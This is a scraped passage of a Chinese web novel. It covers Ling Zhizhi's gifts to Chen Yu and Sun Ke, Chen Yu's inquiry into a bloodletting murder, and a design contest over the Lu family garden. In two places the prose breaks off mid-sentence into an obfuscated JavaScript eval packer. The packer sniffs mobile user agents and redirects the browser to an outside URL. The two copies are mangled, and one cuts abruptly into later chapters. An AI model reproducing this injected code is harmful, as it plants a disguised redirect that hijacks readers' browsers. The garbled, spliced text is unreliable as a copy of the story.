小虾小蟹羞涩地接过去。玉蓉替小蟹簪在发髻上,小虾在一旁酸唧唧地咂舌,小泥鳅便也拿过簪子装作柔弱的样子说:“张郎,我来替你簪。” 小虾夺回簪子,厌恶地摆手,“去去去,什么蟑螂!” 大家兴奋了一会儿,小蟹道:“那陈姐和孙哥儿的呢?”那日令知知拿出来显摆的盒子里可是有不少刀剑呢,如今这几样除了小虾那把辉云剑以外,都只能算作小机关器物,还有多余的那些蛇皮也不知所踪。 “都放在房中了,自己去看吧!”令知知说完轻轻向后一撤,扭过头去拿起一把雨伞就往外跑去。 众人莫名其妙,愣了两秒后吵着闹着也要看令知知给二人的惊喜。 他们二人也知道,令知知此时逃避不过是觉得有些不好意思,这么多年的交情之下,很难袒露自己的心意,若是摆在明面上,或许显得有些矫情。 二人也拒绝了众人的围观,只是告知他们今日是最后一天假,下午可以去放松放松,明早起来还要去陆家花园赶工。 众人皆叹说这一个月来为了省人工费,自己也没少干活。陈鱼说令知知今日送他们的东西都快赶上他们一年的收入了,几张嘴这才闭了起来。 陈鱼回到房中,如心中所想的那样,自己榻上多了一条被红丝带系着的鞭子,旁边还有一纸条。像极了新婚之夜新娘逃跑给新郎留下的一纸文书—— “陈鱼,你应该早就想到我会送你鞭子吧。我知道你的那条鞭子跟着你很久了,对你而言意义非常,不到万不得已时绝不用它。但那日班绫来闹,你为了孔明楼将它抽出来,我有些意想不到。那日晚上透过窗子,我隐约见你抚着那皮革鞭,心里有些不是滋味。” 读到此处,陈鱼拉开了红绳,看见了用蛇皮包裹的鞭柄,不知为何鼻子有些酸涩,于是继续读下去。 “这副新软鞭,是我从鬼市中掏来的,卖东西的人和我说,这是用上古将士屠龙抽出的龙筋制成的。我当然不信,但你也看见了,无论这是什么筋做的,韧筋和光泽都不输朝冕城岚山派掌门的那副顺心鞭,所以我便收了,还挑了好看的蛇皮包裹鞭柄。你可不要不知好歹哦,将你那副古董好好收起来,江湖险恶若再遇事故,用这龙筋鞭保护你。” 陈鱼读到最后笑了出来,若真是上古神龙的筋,还不知这两副鞭子谁才是古董呢。但她还是如令知知所说那般将那皮革鞭收入衣柜中,然后将新鞭别在腰间,趁雨停了便出门散心去了。 孙客从楼上看到陈鱼腰上别着新鞭子出门去了,摸了摸被令知知在信中称作“金藤宝甲”的软甲,有些失望。这份失望却不是对令知知,也不是对这软甲,而是对他自己。 他叹了叹,只见远处的云逐渐散开一个小口,阳光成柱般从中插出倾泻入白子江面上,如同这副软甲般璀璨。 于是他将软甲穿上,再套上外衫,试着动了动。果然是好东西,穿上竟然没有丝毫感觉,行动也方便。 地上不知什么时候多了一张纸条,他拿起来看。 是令知知的笔迹:“孙客,这宝甲能恰好支撑起你的伤处,再射箭时能防止你拉扯伤口。你应该明白的吧,过几日就随我去练箭。” 孙客欣喜。试着做了一个拉弓的动作,确实如令知知所说,有了这软甲固定身体,不管试图从哪个方向射箭没有拉扯伤口的感觉。 他开始期待重新拿起弓箭的那刻,自七年前左胸受伤,伤口外面已经结痂愈合,里面却一直反复溃烂,他知道是毒的作用。 那日羌青替他诊病,说他是中了一种蛊,一种连羌青这个奇医都未曾见过的蛊毒,他便以为自己这辈子都没办法拿起弓箭了。 但没想到这金藤甲一穿,虽不及之前,但单从行动上看,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15153758|163112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恢复了五六成。 他第一次像令知知那样一手拉着那根铁链向楼下滑去,额角那些因为穿脱衣物而有些凌乱的发丝随着风飞起,真如一只轻燕般在楼中滑翔。 原来这根铁链这么好玩,我还以为她故意耍酷呢。孙客这样想。 雨停了后,整个孔明楼如被抛光了般金灿灿的,门口聚集了不少人驻足欣赏。 班项原本打算去东市采买的马车路过,听见众人的惊叹声也拉开帘子欣赏,如此夸张的颜色,倒让他想起一个人。眼神随即便也暗淡垂下,以“别挡着路了”为借口让马夫快些离开此处。 坐在车上,他回忆起小时候的令小声十分淘气,在班项画好的图纸上随意地涂涂画画,班项捏起他的耳朵让他自己去找双霜领罚,等自己坐下准备重新临摹一张时却发现令知知的涂抹倒让整副图更加完整了,这才让他跟着自己学习建筑修缮。 或许那时,就不该让他锋芒太盛吧。班项惋叹道。 陈鱼出门去梦寻春处,倒不是因为她与承桑栩二人的关系有所缓和,而是她知道阮徽回来了。 几年前,陈鱼和阮徽打了个赌,陈鱼输了便做了阮徽三年的手下,帮她采药配药,也因此偶遇了在山间奄奄一息的令知知和孙客。至于二人的身世,她从未过问。 三年期限到了,或许只因令知知的一句“要不要跟我们走”触动了她哪根心弦,这个隐藏身世的姑娘便同另外两个来历不明的人在朝冕城开了第一家孔明楼。直到大赚了一笔,令知知才将自己和孙客的故事讲给陈鱼听,陈鱼开始替他二人打听消息。 而阮徽,父亲是紫炁被称作“杏林一绝”的阮玉林,母亲又是月孛的首领杜素华,谁不想就诊的时候套些消息出来呢,她便也被拉入了孔明楼小分队。只是当时,她自称自己的爱好喜欢探听民间八卦,并未透露自己是四余门的人。而令知知和孙客的身世也并未告诉她。 彼此之间,并无试探。 梦寻春处还是一如既往的宾客满堂,优雅的舞姬在中心浅池内舞蹈,因脚尖动作而时不时溅起的水珠在烛光的照耀下宛如宝石,随着鼓点向四周滴落。 一醉酒的宾客晃晃悠悠地来到中间,想要拉起一舞姬的手。梦寻春处的每一个人可都不是简单的人,那舞姬用手背拍了回去,然后将披帛挂在那人的手上勒紧,如牵了只被捆的鸡仔般将他一脚踹出门去。这一招,陈鱼在班绫来闹那天,也对令知知用过。 她看向那个醉酒的宾客,眼里全是嫌弃。男人嘛,都不是什么好东西。 “来了?”身着华裳的阮徽从楼上下来,正好看见站在门口的陈鱼。 陈鱼恢复了脸上的冷淡,只说了个“嗯”。 “上来吧。”阮徽上楼。陈鱼便也跟了上去。 阮徽泡了杯茶,说:“这是我从江南带来的最好的茶,你尝尝。”她把茶杯推过去。茶杯只小小的一盏,上面的花纹样式却极为繁杂,一看就是稀罕物。 陈鱼轻轻抿了一口,嘴里泛起清香,她还是不忘自己的任务,说:“有什么消息?” “一收到你的信,我便派人在紫竹林寻到了左阅的尸体,虽然晚了几日,那尸体皮肉组织已经开始腐烂了,但能看得出来他的颈部、腕部和踝部都有刀伤。” 在陈鱼的注视下阮徽也轻轻抿了一口茶,继续道:“也就是说,杀他的凶手或许不急着他死,而是在逼他说些什么。他或许说了,或许没说,后来因为失血过多,死了。” “能在禁所里逼问他的人……”陈鱼垂眸思考着。 阮徽的指甲敲着杯子,提醒她:“或许不是在禁所里杀的呢,而是杀了之后又将尸体扔回禁所了。” 陈鱼转眸,眼神犀利,“你又查到什么了?” “这个我也只是猜测。不过你可以去问问门主,几年前也有一人死于这种放血杀人的事。”阮徽故意道。 “都说到这份上了,你说接下来的你不知道?”陈鱼知晓她是故意的,有些急了。 阮徽将她提起,丢出门去。就如刚刚舞姬惩罚醉酒的汉子那般。 “你们梦寻春处的人都这个德性吗?”陈鱼在被紧关的门前大喊。 看来如今,真要去找承桑栩了。 18. 陆家比试 陈鱼到鬼市附近的一处林间宅院里,有些心虚地拿出自己的白玉令牌给外面的守卫看了一眼,还好,还算顺利地进去了。 这就是承桑栩的住处,背靠鬼市方便交易,又隐于丛林不会被仇家找上门。只是因为在林中,整个院子被树木和烟雾遮盖着,有些不知白天黑夜的混乱感。 说起来这地方还是如之前那样,并未有多大改变。陈鱼进门一处处细看着,妄图在这些布景陈设中发现这个男人与之前的不同之处。 看见一切入常,她有欢喜有失落。那曾经因她而建的秋千还在,但她又想到在她离开后或许承桑栩的心也如这庭院一般毫无波澜。 进到里院里,她竟然发现自己原先的房间里居然亮着灯,便想去看看是何人代替了她。 “是你?”承桑栩匆匆从房间里出来。 或许是出来得慌乱,他的衣服耷拉在肩膀上,露出好看的锁骨。见是陈鱼,手里拿着的剑也往后收了收,有些不可置信地瞪着眼睛看她。 陈鱼见他这般勾人的模样,只瞥了一眼,心里小声骂了句“狐狸精”。然后沉着地将向右边跨去的步子收回,点点头, “嗯。” “进来说话吧。”承桑栩强装冷静地背过去,拉好衣服,试图控制住自己起伏的胸膛。 陈鱼随他进去,关上门前又瞟了一眼那北面房间中透出影影绰绰的身影。 承桑栩拨弄了一下头发,深呼一口气,说:“何事找我?” “听阮徽说,你知道几年前的放血杀人案,我就过来问问。”她不安坐下,眼神不敢看向他。 “哦,这件事啊。”承桑栩勾起耐人寻味的嘴角,“我可能还要想上几天。” 陈鱼听罢就起身要走:“如此,我便走了。若你想起来了,再传信给我。” “陈鱼!”承桑栩见她要走,十分不安,没控制情绪就喊了出来。 陈鱼扭头看他,对上了那双深邃魅惑的眼。这几年过去了,时光没有在他脸上留下痕迹,居然还是这副美艳的模样。她不由得缩了缩自己干裂的手,怕被他看到。 他注意到她腰间别着的鞭子,瞳孔微微震动,胸口的起伏更加明显。 “一定得是传信吗?我过去找你,不行吗?”他的眉头皱起,眼里也不知道装着什么,显得这么让人怜惜。 陈鱼的心也随着他蹙眉而揪起来,只是不过片刻,她想到了过去种种被欺瞒的感觉,只觉得眼前人甚是可怕,竟连此刻都装得如此好,不如去戏院里唱戏。 “若你无事的话。”陈鱼再次背过去,踏出门槛。 承桑栩在她背后用不大不小二人正好都听得见的声音说道:“你的事,就是我天大的事。” 陈鱼脚步没有停下,只是木木地向前走去。 孙客脚步生风地到了陆家花园,如他所料的那样,令知知正在对着一处景观思考着什么。 二人都默契地没有提及软甲的事情。 “提前来看场地?”孙客问她。 令知知慢慢走着,其实暗暗关注着孙客的表情,她随口解释道:“我可没有,只是对这陆家花园早有耳闻却从未又机会真正踏进来过,今日受邀进来赏景而已。” 她见孙客并无异常,甚至从他表情中看出少有的轻快感。想着自己的礼物应该没有冒犯到他,便放心了许多。 一中年男子过来招待,应该是早与令知知打过照面,只端来一碗茶水,他有些不好意思地说:“这位是?” “也是我们孔明楼的,孙客。” “我这就给这位哥儿端茶来。”他急急忙忙,有些害怕怠慢了这二位。 “不急。”令知知看了看周围,“你们这花园比起季州的千娇堂,要小一些?” 管家说:“千娇堂是赏大花景的,我们这是赏庭院的,论大小自然比不上。” 令知知观察了下院落的构造,又说:“我与孙客在这闲逛,不会打扰陆大人吧?” “不会不会,大人留下口信,说这几日您几位随便逛。”管家见令知知要去看看,便就自觉退下了。 令知知走过几处小院子,发现这陆家花园十分讲究,有隐秘的石阶,精致的廊亭,还有特色的民俗壁画。比起千娇堂的大方娇媚,显得更有种小家碧玉的感觉。 她欣赏着照壁上的书法,却听见有人从背后走来的脚步声。 “令知知?”班绫那傲慢又挑衅的声音传来。 她扭过身,看见一身淡黄的班绫,这么多年了她还是这么喜欢这个颜色,像枝桂花。令知知这才知道管家说的“您几位”是哪几位。 “你为何也在这里?”她趾高气扬地发问。 倒是枝泼辣的桂花。 令知知反问:“我为何不能在这?” 今日她未再遮掩自己的容貌,可能是已经确信如今的她已经脱胎换骨,言行举止早有所收敛,再不是过去那自命不凡的模样了。 “阿绫。”一老声从班绫背后传来,是班项。 他或许经历了如丧子般的心痛,两鬓已经斑白,脸上也长了许多皱纹斑点,连声音都变得虚弱沙哑。 “班阁主好。”令知知和孙客向他问好。孙客听出了令知知嗓音里的颤抖,关心地看了她一眼。 班项笑眯眯的,藏不住心里的欢喜,像是挖掘到了珍宝般眼睛亮晶晶地道:“原来你才是令掌柜,前几日我竟认错了人。” 令知知并未搭话,只是看着眼前这个老头,怎么也想不起原先那个意气风发的班项的模样来。 “你们的孔明楼,建得很好。特别是颜色,十分大气,不知是涂了什么油料,居然在雨后能发出那样的光来?”他像是对晚辈关怀备至的前辈,对令知知寄予无限希望。 孙客抢先解了答,“是我家自制的涂料,能反射光线,也能防潮。” 班项点点头,看着令知知的脸庞,说:“听别人说,你是他的亲戚?” 他?居然连班项都如此避讳地称呼令小声。她有些酸涩地开口:“那不过是坊间传言罢了。我从朝冕城来,不是本地人。” 班绫怒道:“什么坊间传言,明明你就是想仗我家小声的名气大,才借着这姓氏在这城中火一把!” “我看火的人是你,吃点败火药吧!”令知知怼起人来毫不客气,用食指挑了挑遮住眼睛的一缕发丝。 “你!”班绫指着令知知的鼻子,却说不出一句话。 “你什么你!活该被宋尚宫赶出宫来!”班绫虽然好打闹,但学问颇高,算得上是白子城第一才女。之前在宫里跟着宋尚宫做事,看不惯那些女使的阿谀奉承,每天在宫里直来直往得罪了不少人。直到有一天被算计到她自己身上,就出手打了那几个女使,宋尚宫最厌恶吵嚷打闹之事,自然不惯着她,当日就将班绫赶了回来。 令知知这一句话戳到了班绫的痛处,将她气得直跺脚。要不是在这陆家花园中宾客不能携带兵器,她怕是早就一刀挥下来砍了令知知的脑袋。 “班阁主和令楼主原来早就认识啊?”管家听到了这院中的吵嚷匆匆跑过来,看上去应该是早对班绫的顽劣功绩有所耳闻,身后领着一队人马。 令知知还是第一次听到别人以“楼主”这一称号称呼自己,有些得意的挺了挺胸膛,扬起下巴。 见人来了,班绫“哼”了一声,收敛了些。 管家尴尬地笑了笑,说:“我家大人在前厅有请。” 班绫扶着班项往前厅走去,路过令知知时还对着她不怀好意地吐舌头做鬼脸。 令知知觉得她这副模样好蠢,“噗嗤”一声笑了出来。 在正厅中,令知知恰巧坐在怒目圆睁的班绫对面,班绫的泼辣倒显得令知知大方端庄了起来。 班项正和陆朱寒暄着。班绫还在一旁对着令知知吐舌头,嘚瑟着喝了口茶,没想到这茶还未晾凉,烫得她毫无顾忌地喷了出来,一下子吸引了陆朱的注意力。 令知知在旁边咬着嘴憋笑。 “这位就是令爱吧?”陆朱尴尬地笑着,吩咐下人替班绫擦干衣物。 班项已经习惯了这大大咧咧的班绫,说:“正是,班绫,快给陆大人行礼。” “小女班绫,问陆大人安。”她行了个礼,倒是规范。 陆朱这回笑得不遮掩,连连说:“这不是宫里,不必行礼。要更换衣物吗,家中小女年纪身量上倒是与你相似。” 还未等班绫回话,他便吩咐道:“画眉,送班姑娘去换身衣服。”许是连他也看不下去了,想把这意图闹事的女娃赶紧支出去。 班绫负气含灵,一个字也不说地跟着侍女走了。 “陆大人这次将我与班阁主一同叫来,是要……”令知知想趁着班绫不在抓紧时间步入正题。 陆朱不紧不慢地说:“我这陆家花园,是祖上传下来的,花鸟虫鱼、院落景观那是美不胜收啊,每年诗会都要在我这处举办。只是这宅子确实是有年头了,一些景观呢也过时了,那些文人墨客来来回回的,也看腻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她笑得无奈,贴近班绫的脸,问:“一个身败名裂之人,值得你为他这样做吗?” 班绫的眼圈发红,整个脸更是像被火烧了一样,说:“你若不敢比,就值得。白子城,只能有他一人姓令。” “我比。”令知知说。不能再让班绫如此执念下去了,难不成每一个进白子城的姓令的人都要被她如此刁难,那就真是令小声的错了。 班绫闭眼调整了下心情,说:“要比,就比出个名堂来。” 令知知挑起那缕头发,往右边顺了顺,说:“那是自然。给我们三日,到时拿出图纸一较高下。” 说罢便头也不回的走了。孙客在后面赔了个礼,也匆匆离开了。 班绫看着眼前的背影,再仔细回想起她拨弄头发的模样,两幅面容叠加在一起,她轻声说了句:“你与他,可真像啊。” 从陆家花园出来后,令知知吵着要孙客给她买个冰饮。 “羌青说喝了那药不能饮冰。”孙客劝阻她。 令知知把脸皱起,大喊:“老娘现在憋着一股子气,不喝冰饮就快要压制不住了!” 孙客也只好依了她,二人坐在桥头吃冰。 “你为何又改了主意?”孙客舀起一口冰吞下,好凉! 令知知晃着脚,舔着汤匙说:“其实我能明白班绫的意思。若我比赢了,白子城多了一个姓令的巧匠,或许也会像令小声那样得万人敬仰,留下个好名声,自此白子城的百姓或许不再会记得有个同样姓令的败家儿郎。若我比输了,也是输在百年班家之下,能与班家一试的,自不会差到哪里去。” 这个傻班绫,只是不想大家提起姓令的,第一时间就想起、去唾骂那个胆大包天行刺太子的令小声而已。令小声,只能被她打骂。 她看着桥下的一金一白两条鱼,说:“只是,她对令小声的感情是出乎我的意料的。你说,若是她知道我是女儿身,会不会感到惊讶,会不会恨我?” 令知知用脚尖点了下水面,两条鱼儿争相逃走了,她继续说:“毕竟我们儿时还定过玩笑般的婚约。” 孙客见她兴致低沉,就假装生气,说:“我娘子之前还与他人有过婚约?我一直被蒙在鼓里,好伤心啊!” 说着就侧过身去,将脚抵在木板上。 令知知也不哄他,只是就着靠着他的背,听着他的心跳。 还好,总有一样是安心的。她这样想。 19. 全楼出动 回到楼中,令知知将要与鲁班阁切磋的事情告知了伙计们。 大家伙似乎是因为好久没有干些像样的活计了,对这世代花园有按耐不住的渴望与热情,纷纷跃跃欲试地表达着自己的看法。 小虾将拿出自己珍藏的各式园林景观画作来,全部挂在楼内,让大家将自己觉得有特点的布景全都用红墨标注出来。 阿荇阿藻两姐妹都认为水景是园林中不可或缺的元素之一,将江南一处被溪流串联着的宅院圈了出来;小蟹和玉蓉这对夫妻考虑到陆家世代都要居住于此,更加注重古朴的文物建筑保护,将建国将军杜骏的府邸中,承载着历史故事和岁月沧桑的、由嘉德皇帝亲笔题写“辅国元勋”的照壁圈了出来。 小泥鳅围着画作绕了一圈,说:“陆朱虽然是个文官,但这陆家是因祖上擅长制作精良的武器而得到当时皇帝青睐和资助发家的。所以我猜,这陆府里肯定有许多宝物,不如修建一个展示宝器的楼阁,给那些文人墨客也开开眼界。” “小泥鳅,”令知知最近对他愈是刮目相看了,有种要重新认识此人的陌生感,“听小虾说你的彻州人?” 小泥鳅木讷地点点头,不知令知知提及故乡是何用意。 “我曾到过彻州游玩,听说整个彻州只有一处在招揽各派人士切磋武艺、交流传承各路剑法。” 孙客警觉,道:“剑影山庄?” 令知知眯着眼上下打量着小泥鳅,把他看得有些不自在,“你不会是剑影山庄的人吧?” 小泥鳅上次拿上辉云剑武的那一招,绝非凡品,就连令知知都看呆了。自那时起,她就怀疑起小泥鳅的身世来。 “掌柜的,你们说得对。”小泥鳅摸摸后脑勺承认了,“但我只是少时在里面帮忙打扫,有时候能偷看弟子练武、偷听先生讲学,对剑术和这些传说都略知一二而已。” 令知知笑了,他武的那一招确实有些瑕疵,说:“你若真对剑术颇感兴趣,我可以教你。” 其他人没想到令知知会这么说,都闹着道:“我也要!我也要学!” 陈鱼听不得吵闹声,咳嗽了几下,楼里又瞬间安静了下来。 “未来怎样都好说,只是现在我们先把各自的想法整合一下,毕竟三天后就要给出完整的图纸。”令知知又显露出她成熟的那一面来。 “是。”几人齐声说。 大家都自己去琢磨了一下,在手稿上选址记录起来。 “二位还没说你们的意见呢。”令知知跑到二人旁边,用肩碰了碰陈鱼,再用屁股挤了一下孙客,真是个端水大师。 孙客说:“我听你的。” “我也一样。”陈鱼心里藏着事,也对修缮之事没有什么其他想法,“你们随我到房间去,我有话和你们说。” 令知知和孙客相视一眼,就知是那件事又有线索了。 陈鱼在房中将阮徽告诉她的事情告诉了二人。 “阮姐姐果然蛛网密布整个白子城,竟然还能找到左阅的尸体,”令知知用指节敲打着桌子,“那玩意我在义庄找遍了,都未曾看到。” “尸体不在义庄,听阮徽讲,就埋在紫竹林里。”陈鱼说。 “不在义庄,而是在紫竹林?难不成是紫竹林戏院的人?”孙客猜测,又摇摇头,“不对不对,那几个人都不会武功,更别提放血杀人了。” “像杀鸡一样放血,再抛尸紫竹林……”令知知想到杀鸡放血的过程,哆嗦了一下。 孙客想了想,说“或许是要套出什么话来,先以紫竹林的阿荇性命要挟,再放血相逼他说出真相。” “承桑栩还没来找你吗?”令知知趴在桌上,眼神八卦地看着陈鱼。 “没有,有消息了我会再和你们说。”陈鱼起身,拍了拍身上的灰,“这些时间你们先忙陆家的事,其他的交给我。” 知道陈鱼这个动作是在赶客了,二人起身。 “辛苦你了,注意安全!”令知知拍拍她的肩膀出去了。 孙客也学着拍了拍,收到陈鱼的白眼一枚。 回到楼里,大家还在七嘴八舌的争论着。令知知学着像陈鱼那样咳了几声,几人抬头见是令知知,停顿了片刻又恢复了吵闹。 “我这么没有威慑力?”令知知指着自己。 孙客耸耸肩,双手摊开表示很无辜。 “好了别说了,看图纸不如去实地考察。”令知知绕了一圈看着他们乱七八糟的图纸,气得直揉太阳穴,“明天一早,拿上你们画得乱七八糟的玩意儿一起去看看。” 这句话像是点燃了炮竹,孔明楼里乱作一团。小蟹把玉蓉抱起来转圈,小蟹和小虾还在争论着要建藏宝楼还是暗房,阿荇和阿藻跑过来确认是不是真的可以进到陆家花园中…… 陈鱼冷不丁地突然摸进来收拾他们胡乱摆放的笔墨纸砚,把他们吓得又赶紧去帮忙整理。 “我好像慈父,陈鱼像那个严母。”令知知遮着嘴和孙客说。 要不是陈鱼像是有预感一样看过来,孙客都要问一句“那我呢?是你二人的孩子吗?” 第二日,令知知还未起床就听见一楼传来窸窣的说话声,揉着惺忪的眼看下去,大家像是要去游玩一样背着大包小包的东西。 “还未到秋天,你们就要去秋游了啊?”令知知打着哈欠,把各个背篓挨个看过去。 孙客不知从哪里冒出来的,拿起小虾背篓里的画卷,说:“与其说是秋游,倒不如说是去写生。” 令知知点点头,还是孙客说话严谨。 “这不是要去陆家花园嘛,听说远近闻名的才子方能受邀。今日沾掌柜的光,我们也去饱饱眼福。”小泥鳅圆滑得很。 令知知抱着手挺挺胸膛,倒是做出一副领导的模样,叫孙客去拿画纸画笔。 “这是湖州名贵的称心宣纸和如意硬毫笔,可小心着用。”令知知忍着心疼,小心地分发着。 陈鱼小声说了句“差生文具多”,就扬长而去了。 “大家去时可要打直腰杆,不能被鲁班阁比下去了。”令知知说道。 “得令!” 孔明楼一行人彼此间的情绪互相感染,似乎让整条街都充斥着兴奋和激动的气息。 到达陆家花园后,眼前的美景让他们已经顾不得礼仪,无法控制脚步地“闯”了进去。 “不就是个民居嘛,用得着这么兴奋吗?”令知知和孙客说。 孙客笑着也随着她踏进门去,说:“人家第一次见,又不是你,小小年纪走南闯北见识不少,就让让他们呗。” 管家已经出来迎接,身后又尾着一群侍卫。 孙客开始假笑寒暄:“谢管家莫怪,这都是我们孔明楼的学徒,这次来一是见见世面,二嘛也是为了集思广益,一起将这花园构思出个蓝图来。” 管家听是为了修缮的事,只能点点头。看着乌泱泱的人挤在庭院里,叹了叹,叮嘱道:“让他们小心着些,这些花鸟鱼虫可金贵着呢。还有,可不能带武器进来。” 令知知点点头说明白了,管家便甩手大步离去了。 她拍拍手示意大家听她说话,“大家都听见了吧,此次前来,还是工作为主,走路画图都小心些,莫要凭空生出事端来。” 大家齐声喊:“知道了。” “嘘。”令知知将食指放在嘴边,说:“这里还住着陆家其他人呢,咱们都得罪不起,声音也放低些。” 大家都听话地安静了下来,她满意的露出微笑说:“如此,大家自由观赏吧,等到中午再汇合。” 虽说压低了声音,哥儿几个却压抑不住内心的欣喜。应了句“是”就满院子跑去了。 陆家花园“绝代芳华”的称号绝不是白来的,能看得出之前的能工巧匠将原有的大院子用假山、植物隔开成大小不一的小庭院,每个庭院里的花草与木雕装饰相互呼应。 最吸引令知知的是蜿蜒的长廊上那些精美的壁画,上面记载着白江鲤幻化成人的神话故事。即使小时候听班项讲过数次这类故事,但看到她幼时在脑中幻想的白江鲤在壁画上呈现出那样神性慈爱的模样时,还是被深深吸引,驻足观赏。 而且这壁画,一看就知道是游家人的风格,现如今成了绝迹,竟也无懂行的人来此赏鉴。 “上次你也是在此处发呆。”孙客也瞥了一眼这些壁画,“是有什么问题吗?” 令知知回过神来,指着地上的石板说:“上次来这就发现这回廊的地砖颜色和小径上的石块颜色相差有些大,看着不舒服,这应该陆大人之前所说请的几位匠人意见不合的结果吧” 她指了指墙壁,接着说:“而且这条回廊是类似半圆形的贴墙廊,包裹着这个最大的院子,有一半靠墙背光,上面的壁画明明很有观赏价值却因为光线暗的原因很少有人愿意驻足欣赏。” 令知知还摸着下巴壳,在思 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令知知想着想着,站直了看向这颗大树。心里思考着,这回廊在整个陆家花园的西北角,此时早上的光亮能照到院中,但被这颗大树挡住了大半,此时正北面的壁画光线最暗。若是等到下午,太阳移至西面,此时北面的壁画有光了,但西面的又背光。 “先去其他地方看看吧。”她道。 顺着石阶就到了上次来议事的正房门口,小泥鳅正和管家说着话。 令知知和孙客二人蹑手蹑脚地跑到他二人后面偷听。 “你在此处选址建楼,我家大人从朝冕城回来定会要了你的命。”管家颤颤巍巍地拿出手指在小泥鳅的图纸上。 小泥鳅皱起眉头噘着嘴,说:“为何不可?” “这后面可是挨着慧觉寺,你若是在这里建楼,是对神灵大不敬!你到底会不会画图啊?”管家有些嫌弃他,在质疑小泥鳅的能力。 小泥鳅听了,又换了一个地方,指着说:“此处呢?没有寺庙,地方空旷,建个藏宝楼不在话下。” 那处在整个花园的东面,靠近花园的后门,后面是商队常经过的隐逸巷。 “不妥不妥。”管家摇着手,“此处临街,若是真放了些宝物,早就被小贼偷去了。” 令知知此时发话了:“我看此处行。” 二人被吓得跳起,看见是令知知,惊魂未定地拍着胸脯。 “此处位置极佳,建楼建塔不会遮挡后面人家的光线,也不会影响到寺庙的风水。若说起要防盗,我孔明楼的铜墙铁壁也是时候推广一下了。”令知知抱着手,并不顾忌眼前两只被吓得惊慌失措的兔子。 管家觉得这个名字有些夸张,问:“什么?铜墙铁壁?” “这你就不知道了吧,”小泥鳅嘚瑟起来,“我们掌柜的发明的一种可以给房子穿上的衣服。只用轻轻拉下绳索,层叠在一起的铝皮就会从高处落下,给楼宇套上一个金钟罩!” 他上蹿下跳地描述着,特别生动。 令知知笑笑,说:“专为小偷打造的。上面还可以设置机关,若真有胆大之士擅闯,能一举抓获。” “如此厉害?”管家对这孔明楼的印象好了许多,“之前还以为孔明楼只是个徒有其表的小楼而已,今日听你们这么一说,还果真有些本事,看来鲁班阁得担心担心了。” 令知知谦虚地表示了一下感谢,说:“说起来,今日怎么不见鲁班阁的人?” 在令小声出事之后鲁班阁的生意也不大好,毕竟关乎奖金的事,没人会拒绝白花花的大银子吧。 “昨日你们走后,他们连夜勘察,绘了新图纸,今日估摸着应该在阁中细化呢吧。”管家说完就走了。 令知知听了这话,搂过孙客和小泥鳅,语重心长地说:“哎,凭白多让给他们一个晚上的时间。” 孙客将她的手拉下,说:“你也不亏,昨日我们楼里不也讨论得水深火热的嘛。” “也是。”令知知顺势拍拍小泥鳅的肩鼓励道,“图画得不错,下次考虑得再全面些就更好了。” 小泥鳅旁的也不说,嘿嘿笑了。 被精心修剪打理的花儿在微风中轻轻摇晃着,散发出淡淡的清香,不知哪里飞来的几只麻雀站在树上发出清脆的鸟鸣。自然,总能化解尘世的喧嚣。 20. 群策群力 大概还有半个钟头就到午时了,令知知边逛着园子边观察着伙计们的工作,有时候上前用手比划指点一二,孙客趁机在旁边学习。 她这副闲散的样子,像是心中有数了一般。 阿荇拉着小虾在水池边说着些什么,声音越来越大,好像已经全然不顾及这是别人家的院子。 阿藻在池边的一块石头上坐下,似乎早就对这些噪音免疫了似的,双眼宛如清澈的湖水,聚焦在池中悠闲游弋的锦鲤身上。 她微微勾着嘴角,伸出手,几颗鱼食从她的指尖滑落,轻盈地落入水中,池面上激起一圈圈细微的涟漪。 令知知见到此景,不由得戳戳旁边的孙客,满怀真心的欣赏道:“真美啊。” 孙客的头这才抬起来,看着眼前阿荇捏着小虾的耳朵,不懂令知知所说的“美”在何处。 后来他心中在想,莫不是这二人吵闹得过于大了,令知知是在阴阳怪气呢,就走上前去给他们使了个眼色。 阿荇把撸起的袖子放下,尴尬地“咳咳”两声。 令知知还目不斜视地盯着阿藻,她身上那种专注与宁静,仿佛隔绝了一切吵扰,与整个水景融为了一体,像是一副和谐的画卷。 “知知?”孙客轻声叫她。 她贪恋眼前的美景美人,片刻后回过神来应了一句:“嗯?” “在吵什么?”或许被阿藻自身的氛围感染,她的这句话也轻声细语。 阿荇气鼓鼓地说:“我说此水池,旁边并无什么石块栏杆包围,若是小孩子在此处玩闹很容易掉进去,”她把图纸拿过来,上面有她画得七扭八歪的护栏,“这样设计,会不会好一些?既安全又美观。” 令知知看了看图纸,再盯着阿荇,脸上的微笑僵在那里变得虚假又牵强,说:“安全在哪里?美观在何处?” “不美观吗?”阿荇自己瞅着自己的画作,越看越满意。 “倒确实是个问题。”孙客在旁边打圆场,“听说来此景画像的人蛮多的,若是失足掉落水中怕有不好的传言啊。” 令知知问:“画像?要画像干嘛?” 小虾跑过来,揉着耳朵狠狠瞪了一眼阿荇,和令知知解释说:“每年八月初二,白子城在北面有个相亲会。夫人们会将自己未出阁的女儿们的画像挂在树上,若有对哪位姑娘动心的公子就可以将画取下,对应上面的数字到隔壁佳偶园里与姑娘一续。” “和揭皇榜一样的?”令知知还没听过白子城还有个相亲角,扑闪着睫毛。 “没错。”小虾继续八卦道,“为了寻个好夫家,姑娘们可是煞费苦心,先是为了画像要去做造型,然后再去挑画师,为了给男子留下家室显贵的好印象,连这背景都开始争相斗艳起来。” 令知知环顾四周,并未观出此处有什么优于别处的景观,不解地问道:“白子城中有许多花园,光陆家花园里就有那么些小园子,为何姑娘们偏偏都要来这处画像?” 